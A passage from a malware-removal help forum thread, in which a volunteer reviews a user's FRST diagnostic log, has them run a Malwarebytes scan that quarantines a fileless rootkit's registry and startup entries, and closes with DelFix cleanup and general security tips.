2018-03-23 20:32 - 2018-03-23 20:32 - 002584576 _____ () C:\Program Files\WindowsApps\Microsoft.SkypeApp_12.1811.248.1000_x64__kzf8qxf38zg5c\skypert.dll
2018-03-23 20:32 - 2018-03-23 20:32 - 000657408 _____ () C:\Program Files\WindowsApps\Microsoft.SkypeApp_12.1811.248.1000_x64__kzf8qxf38zg5c\RtmMvrUap.dll
2013-10-10 07:27 - 2011-10-14 20:17 - 000158536 _____ () C:\WINDOWS\System32\SRSLabs\{176F4E15-8F7C-4833-ADED-81FAE8CCD186}\slcc3d64.dll
2013-10-10 07:24 - 2013-05-08 22:23 - 001199576 _____ () C:\Program Files (x86)\Intel\Intel® Management Engine Components\LMS\ACE.dll
2014-02-09 18:35 - 2013-08-05 08:49 - 000627672 _____ () C:\Program Files (x86)\CyberLink\Power2Go8\CLMediaLibrary.dll
2013-08-05 16:48 - 2013-08-05 16:48 - 000016856 _____ () C:\Program Files (x86)\CyberLink\Power2Go8\CLMLSvcPS.dll
2018-01-05 01:14 - 2018-01-05 01:14 - 001042232 _____ () C:\Program Files (x86)\Common Files\Apple\Apple Application Support\libxml2.dll
2018-01-05 01:14 - 2018-01-05 01:14 - 000189752 _____ () C:\Program Files (x86)\Common Files\Apple\Apple Application Support\libxslt.dll
2017-12-08 02:49 - 2017-12-08 02:49 - 000076088 _____ () C:\Program Files (x86)\Common Files\Apple\Apple Application Support\zlib1.dll
==================== Alternate Data Streams (Whitelisted) =========
(If an entry is included in the fixlist, only the ADS will be removed.)

==================== Safe Mode (Whitelisted) ===================
(If an entry is included in the fixlist, it will be removed from the registry. The "AlternateShell" will be restored.)

==================== Association (Whitelisted) ===============
(If an entry is included in the fixlist, the registry item will be restored to default or removed.)

==================== Internet Explorer trusted/restricted ===============
(If an entry is included in the fixlist, it will be removed from the registry.)

==================== Hosts content: ===============================
(If needed Hosts: directive could be included in the fixlist to reset Hosts.)
2013-08-22 14:25 - 2013-08-22 14:25 - 000000824 _____ C:\WINDOWS\system32\Drivers\etc\hosts

==================== Other Areas ============================
(Currently there is no automatic fix for this section.)
HKU\S-1-5-21-685160351-2209658244-3524408110-1001\Control Panel\Desktop\\Wallpaper -> C:\Users\owner\Pictures\Sue\20150403_135414 -copy.jpg
DNS Servers: 194.168.4.100 - 194.168.8.100
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System => (ConsentPromptBehaviorAdmin: 5) (ConsentPromptBehaviorUser: 3) (EnableLUA: 1)
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer => (SmartScreenEnabled: RequireAdmin)
Windows Firewall is enabled.
==================== MSCONFIG/TASK MANAGER disabled items ==
HKLM\...\StartupApproved\Run: => "IgfxTray"
HKLM\...\StartupApproved\Run32: => "HPMessageService"
HKLM\...\StartupApproved\Run32: => "APSDaemon"
HKLM\...\StartupApproved\Run32: => "iTunesHelper"
HKLM\...\StartupApproved\Run32: => "HP Software Update"
HKLM\...\StartupApproved\Run32: => "IJNetworkScannerSelectorEX"
HKLM\...\StartupApproved\Run32: => "CanonQuickMenu"
HKU\S-1-5-21-685160351-2209658244-3524408110-1001\...\StartupApproved\StartupFolder: => "Send to OneNote.lnk"
HKU\S-1-5-21-685160351-2209658244-3524408110-1001\...\StartupApproved\Run: => "Power2GoExpress8"
HKU\S-1-5-21-685160351-2209658244-3524408110-1001\...\StartupApproved\Run: => "OneDrive"
HKU\S-1-5-21-685160351-2209658244-3524408110-1001\...\StartupApproved\Run: => "MyDriveConnect.exe"
HKU\S-1-5-21-685160351-2209658244-3524408110-1001\...\StartupApproved\Run: => "Skype"
HKU\S-1-5-21-685160351-2209658244-3524408110-1001\...\StartupApproved\Run: => "SocialSafe.Helper"
HKU\S-1-5-21-685160351-2209658244-3524408110-1001\...\StartupApproved\Run: => "Sony PC Companion"
HKU\S-1-5-21-685160351-2209658244-3524408110-1001\...\StartupApproved\Run: => "CCleaner Monitoring"
==================== FirewallRules (Whitelisted) ===============
(If an entry is included in the fixlist, it will be removed from the registry. The file will not be moved unless listed separately.)
FirewallRules: [{427244EA-ECD1-4ADC-9931-0917897949C6}] => (Allow) C:\Program Files (x86)\Common Files\Apple\Apple Application Support\APSDaemon.exe
FirewallRules: [{F0BF8F32-5CB0-424A-861F-750880FA4A46}] => (Allow) C:\Program Files (x86)\Bonjour\mDNSResponder.exe
FirewallRules: [{11BF51D2-885A-4722-AEA3-C74AEB040262}] => (Allow) C:\Program Files (x86)\Bonjour\mDNSResponder.exe
FirewallRules: [{E0229198-A695-4074-B7A5-54E1D49F374A}] => (Allow) C:\Program Files\Bonjour\mDNSResponder.exe
FirewallRules: [{44698E18-2C89-4810-A2A2-9E884232A0F9}] => (Allow) C:\Program Files\Bonjour\mDNSResponder.exe
FirewallRules: [{021A725F-46A2-448A-912E-DB3FCF457CE6}] => (Allow) C:\Program Files\HP\HP Deskjet 2540 series\Bin\HPNetworkCommunicatorCom.exe
FirewallRules: [{81633B69-99E0-43A7-B9CF-4A6F08F85E4D}] => (Allow) LPort=5357
FirewallRules: [{AB78ADA0-A264-4853-91FE-8B9B8C11EE9F}] => (Allow) C:\Program Files\HP\HP Deskjet 2540 series\Bin\DeviceSetup.exe
FirewallRules: [{FF07D2C1-5D80-4E0A-BAC1-43587EA025F7}] => (Allow) C:\Program Files (x86)\CyberLink\PowerDVD12\Movie\PowerDVD.exe
FirewallRules: [{49939907-1112-44FE-96B6-173BE0DD075F}] => (Allow) C:\Program Files (x86)\CyberLink\PowerDVD12\PowerDVD12ML.exe
FirewallRules: [{A6CFEEFA-2C6B-4175-8392-85260AEA8B8E}] => (Allow) C:\Program Files (x86)\CyberLink\PowerDVD12\PowerDVD12Agent.exe
FirewallRules: [{FE08537B-AD1F-469C-908A-D0AF9DB54AC8}] => (Allow) C:\Program Files (x86)\CyberLink\PowerDVD12\Kernel\DMS\CLMSServerPDVD12.exe
FirewallRules: [{3FC1B1EC-0DA6-475F-8408-F333A0EA4821}] => (Allow) C:\Program Files (x86)\CyberLink\PowerDVD12\Kernel\DMR\PowerDVD12DMREngine.exe
FirewallRules: [{B1CB758E-40B5-4210-81E2-13C6E3C69C11}] => (Allow) C:\Program Files (x86)\CyberLink\PowerDVD12\PowerDVD12.exe
FirewallRules: [{0CF20529-EF81-48E1-A0DB-B13CD90C471F}] => (Allow) C:\Program Files (x86)\CyberLink\PowerDirector10\PDR10.EXE
FirewallRules: [{31B78344-8EA3-424D-92EE-2F47B50E9264}] => (Allow) %LocalAppData%\HPConnectedMusic\Application\spotify_helper.exe
FirewallRules: [{26E3D508-E38D-483D-BAAE-1C118FC62E19}] => (Allow) %LocalAppData%\HPConnectedMusic\Application\spotify_helper.exe
FirewallRules: [{037C9FEA-AC61-4D48-B864-32D947D3E9DB}] => (Allow) %LocalAppData%\HPConnectedMusic\Application\HPConnectedMusic.exe
FirewallRules: [{2D1F8D70-310C-4219-BF68-3504117BAC79}] => (Allow) %LocalAppData%\HPConnectedMusic\Application\HPConnectedMusic.exe
FirewallRules: [{1176E67F-52EF-4DFB-A7FD-532DDE62E99E}] => (Allow) C:\Program Files (x86)\HPConnectedMusic\HPConnectedMusic.exe
FirewallRules: [{AB0FCFBD-7C3F-4D42-AB18-A3ADE48DDFDA}] => (Allow) C:\Program Files (x86)\HPConnectedMusic\HPConnectedMusic.exe
FirewallRules: [{2136C6BE-3AAF-46E7-A425-26E633E98D5A}] => (Allow) C:\Users\Administrator\AppData\Local\Microsoft\SkyDrive\SkyDrive.exe
FirewallRules: [{BF4A2715-0F4D-4DF5-A547-5BC9475A4C2F}] => (Allow) C:\Program Files (x86)\AVG\AVG2015\avgmfapx.exe
FirewallRules: [{AD78DCA9-557F-4249-9BF8-89CCC8D8A8E1}] => (Allow) C:\Program Files (x86)\AVG\AVG2015\avgmfapx.exe
FirewallRules: [TCP Query User{EBC49575-F502-4507-B959-4BB5DF594849}C:\program files (x86)\webeye\webeye.exe] => (Block) C:\program files (x86)\webeye\webeye.exe
FirewallRules: [UDP Query User{B8DDB684-DA46-409B-9609-7E73EBFF73F1}C:\program files (x86)\webeye\webeye.exe] => (Block) C:\program files (x86)\webeye\webeye.exe
FirewallRules: [TCP Query User{2C3B84F6-55A1-4DAE-9371-57275A310A53}E:\b1search_en.exe] => (Allow) E:\b1search_en.exe
FirewallRules: [UDP Query User{37EF8062-1906-49FC-ADC6-950DFBD668BB}E:\b1search_en.exe] => (Allow) E:\b1search_en.exe
FirewallRules: [{ACE36109-6448-457A-B19C-C6FAA0CAF988}] => (Block) E:\b1search_en.exe
FirewallRules: [{B3A556B4-C772-41FE-8B6E-19361673519C}] => (Block) E:\b1search_en.exe
FirewallRules: [{BBA9461C-00CB-42B0-A2A8-3419DEDC81A2}] => (Allow) C:\Program Files (x86)\Mozilla Firefox\firefox.exe
FirewallRules: [{AD541AC8-BCFE-4A98-9335-4A70F2485ACE}] => (Allow) C:\Users\owner\AppData\Local\Temp\7zS3F73\HPDiagnosticCoreUI.exe
FirewallRules: [{AF9848FB-776B-4861-8539-ED1C0AE7E828}] => (Allow) C:\Users\owner\AppData\Local\Temp\7zS3F73\HPDiagnosticCoreUI.exe
FirewallRules: [{F6C1BFEE-EC55-4D48-84BA-40268D73A062}] => (Allow) C:\Program Files (x86)\Sony Mobile\Update Engine\Sony Mobile Update Engine.exe
FirewallRules: [{F1953FDD-3294-4FAD-97D0-781F93CF4528}] => (Allow) C:\Program Files (x86)\Sony Mobile\Update Engine\Sony Mobile Update Engine.exe
FirewallRules: [TCP Query User{8A0B24BF-DAB2-439B-8D30-03C9ACE8E822}C:\program files (x86)\skype\phone\skype.exe] => (Allow) C:\program files (x86)\skype\phone\skype.exe
FirewallRules: [UDP Query User{195031D9-AA1F-4DA3-9CDC-C6F0D259E44B}C:\program files (x86)\skype\phone\skype.exe] => (Allow) C:\program files (x86)\skype\phone\skype.exe
FirewallRules: [{A09FEE05-FA80-4069-8CB3-7C62338D3FBF}] => (Block) C:\program files (x86)\skype\phone\skype.exe
FirewallRules: [{B406815A-40FE-4E60-B7EE-D47871E82818}] => (Allow) C:\Program Files (x86)\Windows Live\Contacts\wlcomm.exe
FirewallRules: [{A4EFEA7B-9B34-46E5-883D-9648F651497C}] => (Allow) LPort=2869
FirewallRules: [{7448CBF0-AED6-4B48-9E83-7AE3E810C3D3}] => (Allow) LPort=1900
FirewallRules: [{8AB61AF6-FB45-423A-A804-3A510AF5914E}] => (Allow) C:\Program Files (x86)\Sony\Xperia Companion\XperiaCompanion.exe
FirewallRules: [{81A90578-C4EF-4410-8DBC-DDEFBB50B411}] => (Allow) C:\Program Files\iTunes\iTunes.exe
==================== Restore Points =========================
14-03-2018 10:40:08 Windows Update
12-04-2018 11:09:01 Windows Update
12-04-2018 11:10:19 Windows Update
15-04-2018 15:27:35 Windows Update
==================== Faulty Device Manager Devices =============

==================== Event log errors: =========================
Application errors:
==================
Error: (04/15/2018 06:13:30 PM) (Source: Microsoft-Windows-Immersive-Shell) (EventID: 2484) (User: HP)
Description: Package Microsoft.Windows.ShellExperienceHost_10.0.16299.15_neutral_neutral_cw5n1h2txyewy+App was terminated because it took too long to suspend.
Error: (04/15/2018 03:26:01 PM) (Source: Application Error) (EventID: 1000) (User: )
Description: Faulting application name: SecHealthUI.exe, version: 10.0.16299.309, time stamp: 0x5a97939a
Faulting module name: SecHealthUI.exe, version: 10.0.16299.309, time stamp: 0x5a97939a
Exception code: 0xc0000005
Fault offset: 0x0000000000059975
Faulting process ID: 0x2924
Faulting application start time: 0x01d3d4c5ac489743
Faulting application path: C:\WINDOWS\SystemApps\Microsoft.Windows.SecHealthUI_cw5n1h2txyewy\SecHealthUI.exe
Faulting module path: C:\WINDOWS\SystemApps\Microsoft.Windows.SecHealthUI_cw5n1h2txyewy\SecHealthUI.exe
Report ID: ad40cf3e-e392-43d6-ad13-e965e68a8702
Faulting package full name: Microsoft.Windows.SecHealthUI_10.0.16299.309_neutral__cw5n1h2txyewy
Faulting package-relative application ID: SecHealthUI
Error: (04/15/2018 03:16:13 PM) (Source: Perflib) (EventID: 1008) (User: )
Description: The Open Procedure for service "BITS" in DLL "C:\Windows\System32\bitsperf.dll" failed. Performance data for this service will not be available. The first four bytes (DWORD) of the Data section contains the error code.
Error: (04/12/2018 11:23:13 AM) (Source: Bonjour Service) (EventID: 100) (User: )
Description: Task Scheduling Error: m->NextScheduledSPRetry 15516
Error: (04/12/2018 11:23:13 AM) (Source: Bonjour Service) (EventID: 100) (User: )
Description: Task Scheduling Error: m->NextScheduledEvent 15516
Error: (04/12/2018 11:23:13 AM) (Source: Bonjour Service) (EventID: 100) (User: )
Description: Task Scheduling Error: Continuously busy for more than a second
Error: (04/10/2018 07:35:30 PM) (Source: SideBySide) (EventID: 78) (User: )
Description: Activation context generation failed for "C:\Users\owner\Desktop\esetsmartinstaller_enu.exe".Error in manifest or policy file "" on line .
A component version required by the application conflicts with another component version already active.
Conflicting components are:.
Component 1: C:\WINDOWS\WinSxS\manifests\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.16299.309_none_15cfd4c4935e6b11.manifest.
Component 2: C:\WINDOWS\WinSxS\manifests\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.16299.309_none_5d7d0b9ba7da9417.manifest.
Error: (04/10/2018 07:35:09 PM) (Source: SideBySide) (EventID: 78) (User: )
Description: Activation context generation failed for "C:\Users\owner\Desktop\esetsmartinstaller_enu.exe".Error in manifest or policy file "" on line .
A component version required by the application conflicts with another component version already active.
Conflicting components are:.
Component 1: C:\WINDOWS\WinSxS\manifests\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.16299.309_none_15cfd4c4935e6b11.manifest.
Component 2: C:\WINDOWS\WinSxS\manifests\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.16299.309_none_5d7d0b9ba7da9417.manifest.

System errors:
=============
Error: (04/16/2018 08:17:18 AM) (Source: DCOM) (EventID: 10016) (User: NT AUTHORITY)
Description: The application-specific permission settings do not grant Local Activation permission for the COM Server application with CLSID
{D63B10C5-BB46-4990-A94F-E40B9D520160}
 and APPID
{9CA88EE3-ACB7-47C8-AFC4-AB702511C276}
 to the user NT AUTHORITY\LOCAL SERVICE SID (S-1-5-19) from address LocalHost (Using LRPC) running in the application container Unavailable SID (Unavailable). This security permission can be modified using the Component Services administrative tool.
Error: (04/16/2018 08:07:33 AM) (Source: DCOM) (EventID: 10016) (User: NT AUTHORITY)
Description: The application-specific permission settings do not grant Local Activation permission for the COM Server application with CLSID
{D63B10C5-BB46-4990-A94F-E40B9D520160}
 and APPID
{9CA88EE3-ACB7-47C8-AFC4-AB702511C276}
 to the user NT AUTHORITY\LOCAL SERVICE SID (S-1-5-19) from address LocalHost (Using LRPC) running in the application container Unavailable SID (Unavailable). This security permission can be modified using the Component Services administrative tool.
Error: (04/16/2018 08:02:17 AM) (Source: DCOM) (EventID: 10016) (User: NT AUTHORITY)
Description: The application-specific permission settings do not grant Local Activation permission for the COM Server application with CLSID
{6B3B8D23-FA8D-40B9-8DBD-B950333E2C52}
 and APPID
{4839DDB7-58C2-48F5-8283-E1D1807D0D7D}
 to the user NT AUTHORITY\LOCAL SERVICE SID (S-1-5-19) from address LocalHost (Using LRPC) running in the application container Unavailable SID (Unavailable). This security permission can be modified using the Component Services administrative tool.
Error: (04/16/2018 08:02:17 AM) (Source: DCOM) (EventID: 10016) (User: NT AUTHORITY)
Description: The application-specific permission settings do not grant Local Activation permission for the COM Server application with CLSID
{6B3B8D23-FA8D-40B9-8DBD-B950333E2C52}
 and APPID
{4839DDB7-58C2-48F5-8283-E1D1807D0D7D}
 to the user NT AUTHORITY\LOCAL SERVICE SID (S-1-5-19) from address LocalHost (Using LRPC) running in the application container Unavailable SID (Unavailable). This security permission can be modified using the Component Services administrative tool.
Error: (04/16/2018 08:02:17 AM) (Source: DCOM) (EventID: 10016) (User: NT AUTHORITY)
Description: The application-specific permission settings do not grant Local Activation permission for the COM Server application with CLSID
{6B3B8D23-FA8D-40B9-8DBD-B950333E2C52}
 and APPID
{4839DDB7-58C2-48F5-8283-E1D1807D0D7D}
 to the user NT AUTHORITY\LOCAL SERVICE SID (S-1-5-19) from address LocalHost (Using LRPC) running in the application container Unavailable SID (Unavailable). This security permission can be modified using the Component Services administrative tool.
Error: (04/16/2018 08:02:17 AM) (Source: DCOM) (EventID: 10016) (User: NT AUTHORITY)
Description: The application-specific permission settings do not grant Local Activation permission for the COM Server application with CLSID
{6B3B8D23-FA8D-40B9-8DBD-B950333E2C52}
 and APPID
{4839DDB7-58C2-48F5-8283-E1D1807D0D7D}
 to the user NT AUTHORITY\LOCAL SERVICE SID (S-1-5-19) from address LocalHost (Using LRPC) running in the application container Unavailable SID (Unavailable). This security permission can be modified using the Component Services administrative tool.
Error: (04/15/2018 06:13:51 PM) (Source: Service Control Manager) (EventID: 7034) (User: )
Description: The CyberLink PowerDVD 12 Media Server Service service terminated unexpectedly. It has done this 27 time(s).
Error: (04/15/2018 06:13:17 PM) (Source: DCOM) (EventID: 10010) (User: HP)
Description: The server {0002DF02-0000-0000-C000-000000000046} did not register with DCOM within the required timeout.

Windows Defender:
===================================
Date: 2018-04-16 08:36:28.279
Description:
C:\Windows\System32\notepad.exe has been blocked from modifying %desktopdirectory%\ by Controlled Folder Access.
Detection time: 2018-04-16T07:36:28.278Z
Path: %desktopdirectory%\
Process Name: C:\Windows\System32\notepad.exe
Signature Version: 1.265.729.0
Engine Version: 1.1.14700.5
Product Version: 4.14.17613.18039
Date: 2018-04-16 08:36:22.626
Description:
C:\Windows\System32\notepad.exe has been blocked from modifying %desktopdirectory%\ by Controlled Folder Access.
Detection time: 2018-04-16T07:36:22.624Z
Path: %desktopdirectory%\
Process Name: C:\Windows\System32\notepad.exe
Signature Version: 1.265.729.0
Engine Version: 1.1.14700.5
Product Version: 4.14.17613.18039
Date: 2018-04-16 08:31:34.712
Description:
C:\Users\owner\Desktop\FRST64.exe has been blocked from modifying %desktopdirectory%\ by Controlled Folder Access.
Detection time: 2018-04-16T07:31:34.712Z
Path: %desktopdirectory%\
Process Name: C:\Users\owner\Desktop\FRST64.exe
Signature Version: 1.265.729.0
Engine Version: 1.1.14700.5
Product Version: 4.14.17613.18039
Date: 2018-04-16 08:30:12.601
Description:
C:\Windows\System32\notepad.exe has been blocked from modifying %desktopdirectory%\ by Controlled Folder Access.
Detection time: 2018-04-16T07:30:12.600Z
Path: %desktopdirectory%\
Process Name: C:\Windows\System32\notepad.exe
Signature Version: 1.265.729.0
Engine Version: 1.1.14700.5
Product Version: 4.14.17613.18039
Date: 2018-04-16 08:22:21.599
Description:
C:\Windows\System32\notepad.exe has been blocked from modifying %desktopdirectory%\ by Controlled Folder Access.
Detection time: 2018-04-16T07:22:21.599Z
Path: %desktopdirectory%\
Process Name: C:\Windows\System32\notepad.exe
Signature Version: 1.265.485.0
Engine Version: 1.1.14700.5
Product Version: 4.14.17613.18039
Date: 2018-04-15 15:25:48.424
Description:
Windows Defender Antivirus has encountered an error trying to update signatures.
New Signature Version: 1.265.691.0
Previous Signature Version: 1.265.485.0
Update Source: Signature Update Folder
Signature Type: AntiSpyware
Update Type: Delta
Current Engine Version: 1.1.14700.5
Previous Engine Version: 1.1.14700.5
Error code: 0x80004004
Error description: Operation aborted
Date: 2018-04-15 15:25:48.424
Description:
Windows Defender Antivirus has encountered an error trying to update signatures.
New Signature Version: 1.265.691.0
Previous Signature Version: 1.265.485.0
Update Source: Signature Update Folder
Signature Type: AntiVirus
Update Type: Delta
Current Engine Version: 1.1.14700.5
Previous Engine Version: 1.1.14700.5
Error code: 0x80004004
Error description: Operation aborted
Date: 2018-04-03 19:47:49.245
Description:
Windows Defender Antivirus has encountered an error trying to update signatures.
New Signature Version:
Previous Signature Version: 1.263.1851.0
Update Source: Microsoft Malware Protection Center
Signature Type: AntiVirus
Update Type: Full
Current Engine Version:
Previous Engine Version: 1.1.14600.4
Error code: 0x80070652
Error description: Another installation is already in progress. Complete that installation before proceeding with this install.
Date: 2018-04-03 19:47:49.244
Description:
Windows Defender Antivirus has encountered an error trying to update signatures.
New Signature Version:
Previous Signature Version: 1.263.1851.0
Update Source: Microsoft Malware Protection Center
Signature Type: AntiSpyware
Update Type: Full
Current Engine Version:
Previous Engine Version: 1.1.14600.4
Error code: 0x80070652
Error description: Another installation is already in progress. Complete that installation before proceeding with this install.
Date: 2018-04-03 19:47:49.244
Description:
Windows Defender Antivirus has encountered an error trying to update signatures.
New Signature Version:
Previous Signature Version: 1.263.1851.0
Update Source: Microsoft Malware Protection Center
Signature Type: AntiVirus
Update Type: Full
Current Engine Version:
Previous Engine Version: 1.1.14600.4
Error code: 0x80070652
Error description: Another installation is already in progress. Complete that installation before proceeding with this install.
CodeIntegrity:
===================================
Date: 2018-04-16 08:31:06.865
Description:
Code Integrity determined that a process (\Device\HarddiskVolume4\Windows\System32\svchost.exe) attempted to load \Device\HarddiskVolume4\Program Files\Bonjour\mdnsNSP.dll that did not meet the Microsoft signing level requirements.
Date: 2018-04-16 08:31:06.863
Description:
Code Integrity determined that a process (\Device\HarddiskVolume4\Windows\System32\svchost.exe) attempted to load \Device\HarddiskVolume4\Program Files\Bonjour\mdnsNSP.dll that did not meet the Microsoft signing level requirements.
Date: 2018-04-16 08:31:00.692
Description:
Code Integrity determined that a process (\Device\HarddiskVolume4\Windows\System32\svchost.exe) attempted to load \Device\HarddiskVolume4\Program Files\Bonjour\mdnsNSP.dll that did not meet the Microsoft signing level requirements.
Date: 2018-04-16 08:31:00.688
Description:
Code Integrity determined that a process (\Device\HarddiskVolume4\Windows\System32\svchost.exe) attempted to load \Device\HarddiskVolume4\Program Files\Bonjour\mdnsNSP.dll that did not meet the Microsoft signing level requirements.
Date: 2018-04-16 08:30:57.505
Description:
Code Integrity determined that a process (\Device\HarddiskVolume4\Windows\System32\svchost.exe) attempted to load \Device\HarddiskVolume4\Program Files\Bonjour\mdnsNSP.dll that did not meet the Microsoft signing level requirements.
Date: 2018-04-16 08:30:57.502
Description:
Code Integrity determined that a process (\Device\HarddiskVolume4\Windows\System32\svchost.exe) attempted to load \Device\HarddiskVolume4\Program Files\Bonjour\mdnsNSP.dll that did not meet the Microsoft signing level requirements.
Date: 2018-04-16 08:26:16.744
Description:
Code Integrity determined that a process (\Device\HarddiskVolume4\Windows\System32\svchost.exe) attempted to load \Device\HarddiskVolume4\Program Files\Bonjour\mdnsNSP.dll that did not meet the Microsoft signing level requirements.
Date: 2018-04-16 08:26:16.743
Description:
Code Integrity determined that a process (\Device\HarddiskVolume4\Windows\System32\svchost.exe) attempted to load \Device\HarddiskVolume4\Program Files\Bonjour\mdnsNSP.dll that did not meet the Microsoft signing level requirements.
==================== Memory info ===========================
Processor: Intel® Core™ i5-4200U CPU @ 1.60GHz
Percentage of memory in use: 39%
Total physical RAM: 7962.15 MB
Available physical RAM: 4847.08 MB
Total Virtual: 9242.15 MB
Available Virtual: 6187.73 MB
==================== Drives ================================
Drive c: (Windows) (Fixed) (Total:906.58 GB) (Free:752.5 GB) NTFS ==>[system with boot components (obtained from drive)]
Drive d: (RECOVERY) (Fixed) (Total:22.47 GB) (Free:2.27 GB) NTFS ==>[system with boot components (obtained from drive)]
\\?\Volume{d928ff9f-c5ed-469e-8ede-9592cbd8c7ef}\ (WINRE) (Fixed) (Total:0.39 GB) (Free:0.13 GB) NTFS
\\?\Volume{33fa92cb-248a-4d58-b56b-7d65082aa803}\ () (Fixed) (Total:0.25 GB) (Free:0.15 GB) FAT32
\\?\Volume{2ada9dc2-138e-4a98-a21c-4e1599109850}\ () (Fixed) (Total:1.69 GB) (Free:1.02 GB) NTFS
==================== MBR & Partition Table ==================
========================================================
Disk: 0 (Size: 931.5 GB) (Disk ID: 86020490)
Partition: GPT.
==================== End of Addition.txt ============================

 

Thanks.

 

Chris



#4 Aura

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Posted 16 April 2018 - 09:27 AM

Alright, let's see if Malwarebytes can detect and remove that.

j1Bynr2.pngMalwarebytes - Clean Mode
  • Download and install the free version of Malwarebytes
    Note: If you have Malwarebytes already installed, you don't need to install it again. Simply start from the next bullet point
  • Once Malwarebytes is installed, launch it and let it update his database. You might have to click on the little arrow by Scan Status in the middle right pane for it to do so
  • Once the database update is complete, click on the Scan tab, then select the Threat Scan button and click on Start Scan
  • Let the scan run, the time required to complete the scan depends of your system and computer specs
  • Once the scan is complete, make sure that the first checkbox at the top is checked (which will automatically check every detected item), then click on the Quarantine Selected button
    • If it asks you to restart your computer to complete the removal, do so
  • Click on Export Summary after the deletion (in the bottom-left corner) and select Copy to Clipboard. Paste the content in your next reply

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My timezone UTC-05:00 (East. Coast). If I didn't reply to you within 48 hours, please send me a PM.


#5 EddieLizzard

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Posted 16 April 2018 - 01:45 PM

Hello again,

 

Here is the summary.

 

 

Malwarebytes
www.malwarebytes.com
-Log Details-
Scan Date: 4/16/18
Scan Time: 7:11 PM
Log File: a290fc4e-41a1-11e8-aa4f-a0481c24f62c.json
Administrator: Yes
-Software Information-
Version: 3.4.5.2467
Components Version: 1.0.342
Update Package Version: 1.0.4756
License: Trial
-System Information-
OS: Windows 10 (Build 16299.371)
CPU: x64
File System: NTFS
User: HP\owner
-Scan Summary-
Scan Type: Threat Scan
Scan Initiated By: Manual
Result: Completed
Objects Scanned: 345538
Threats Detected: 4
Threats Quarantined: 4
Time Elapsed: 24 min, 37 sec
-Scan Options-
Memory: Enabled
Startup: Enabled
Filesystem: Enabled
Archives: Enabled
Rootkits: Enabled
Heuristics: Enabled
PUP: Detect
PUM: Detect
-Scan Details-
Process: 0
(No malicious items detected)
Module: 0
(No malicious items detected)
Registry Key: 1
Rootkit.Fileless.MTGen, HKU\S-1-5-21-685160351-2209658244-3524408110-1001_Classes\5e22\SHELL\OPEN\COMMAND, Quarantined, [6635], [386627],1.0.4756
Registry Value: 1
Rootkit.Fileless.MTGen, HKU\S-1-5-21-685160351-2209658244-3524408110-1001_Classes\5e22\SHELL\OPEN\COMMAND|, Quarantined, [6635], [386627],1.0.4756
Registry Data: 0
(No malicious items detected)
Data Stream: 0
(No malicious items detected)
Folder: 0
(No malicious items detected)
File: 2
Rootkit.Fileless.MTGen, C:\USERS\OWNER\APPDATA\ROAMING\MICROSOFT\WINDOWS\START MENU\PROGRAMS\STARTUP\7787.LNK, Quarantined, [6635], [-1],0.0.0
Rootkit.Fileless.MTGen, C:\Users\owner\AppData\Local\05ad\9147.BD001, Quarantined, [6635], [-1],0.0.0
Physical Sector: 0
(No malicious items detected)

(end)

 

 

Thanks.



#6 Aura

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Posted 16 April 2018 - 11:16 PM

Good! Now if you restart your computer and run a new scan with Malwarebytes, does it detect anything else?

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#7 EddieLizzard

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Posted 17 April 2018 - 02:23 AM

I have run the scan and no threats were detected.



#8 Aura

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Posted 17 April 2018 - 11:29 PM

Good! And I guess that Windows Defender stopped detecting the threat as well?

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#9 EddieLizzard

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Posted 18 April 2018 - 01:52 AM

It has indeed.  Looks like problem solved?



#10 Aura

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Posted 22 April 2018 - 09:16 PM

Looks like it to me, yes!

Since there are no signs of infection anymore in your logs, and you just told me that there are no more issues left to address, I guess we're done here. We'll wrap it up by running DelFix to delete the tools and logs that were used in this clean-up.

BWuhenj.pngDelFix
Follow the instructions below to download and execute DelFix.
  • Download DelFix and move the executable to your Desktop;
  • Right-click on DelFix.exe and select Spcusrh.pngRun as Administrator (for Windows Vista, 7, 8, 8.1 and 10 users);
  • Check the following options :
    • Activate UAC;
    • Remove disinfection tools;
    • Create registry backup;
    • Purge system restore;
    • Reset system settings;
  • Once all the options mentionned above are checked, click on Run;
  • After DelFix is done running, a log will open. Please copy/paste the content of the output log in your next reply;
Qt25440.pngTips, tricks, advice and recommendations

Now it's time to give you some tips, tricks, advice and recommendations on how to protect your system and prevent you from being infected in the future. This is where I'll explain basic security measures that you should take to protect and harden your system, and also make sure it stays as safe and secure as possible against hackers and malware. You are free to ignore the recommendations listed below, although I obviously do not recommend it. If you have any questions about one of the points covered in the speech below, feel free to ask me your questions here directly so I can answer them and guide you.

Windows Updates

Keeping Windows up to date is one of the first steps in having a safe and secure system. The Security Updates that Windows receives are meant to fix exploits and flaws in it that makes it more secure and not exploitable by hackers. In order to do that, you should always install the Security Updates, known as "Important Updates" on your Windows system. These updates are released on the second Tuesday of every month, but some are also released before if they are emergency/critical Security Updates. Let's make sure that you have all your Important Updates and Recommended Updates installed and that your Windows Updates are set to be installed automatically.Keeping your programs up-to-date

Like keeping Windows updated, keeping your installed programs up-to-date is another important step in having a safe and secure system. Outdated programs can be exploited by hackers and malware to infect a system and take it over. This is especially true today with the rise of Exploit Kits (and also 0-days) which is one of the biggest attack vectors to distribute malware. Therefore, you should always keep vulnerable programs like Adobe Flash Player, Adobe Shockwave Player, Java, Silverlight, Google Chrome, Mozilla Firefox, VLC Media Player, etc. updated to their most recent version (even better, you don't have to install them if you don't use them). Programs like eF2jhaz.pngUCheck, ]SUMo and y5YE7At.pngHeimdal Free will scan your system for outdated programs, and help you identify them, as well as update them.Antivirus, Antimalware, Firewall and Anti-Exploit/Ransomware

Having a decent security setup (led by an Antivirus) is the most crucial step to protect a system. These programs are a layer of defence that will prevent a system from being infected, or if it somehow ends up infected, help mitigate the infection and remediate it. Ideally, you should have on your system one Antivirus (never more than one installed at the time), one Antimalware (you can install multiple of these, assuming they do not conflict with each other and the other security programs installed), one Firewall and if you wish, one Anti-Exploit and/or Anti-Ransomware (since Ransomware are currently the most dangerous threat around and it can hit anywhere). Here are a few programs worth checking out if you don't have one yet.

Note: The programs listed below are all free to use or they have some sort of trial. Some of them have a paid version that provides more features, while a lot of other good programs only have a paid version but aren't listed there (such as Kaspersky and ESET Antivirus products).

AntivirusAntimalwareFirewall
